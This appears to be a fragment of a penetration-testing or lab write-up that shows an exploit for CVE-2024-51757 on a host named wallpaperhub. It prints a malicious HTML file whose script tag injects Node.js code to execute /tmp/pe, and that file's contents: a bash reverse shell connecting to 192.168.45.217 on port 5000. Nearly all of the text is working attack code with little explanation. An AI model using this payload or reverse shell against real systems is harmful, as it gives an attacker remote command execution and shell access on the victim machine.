Malicious HTML


wp_hub@wallpaperhub:~$ cat /tmp/pe.html 
<script src="https://localhost/'+require('child_process').execSync('/tmp/pe')+'"></script>

Creating a malicious HTML file that exploits CVE-2024-51757

Executable


wp_hub@wallpaperhub:~$ cat /tmp/pe
bash -c "bash -i >& /dev/tcp/192.168.45.217/5000 0>&1"

A reverse shell executable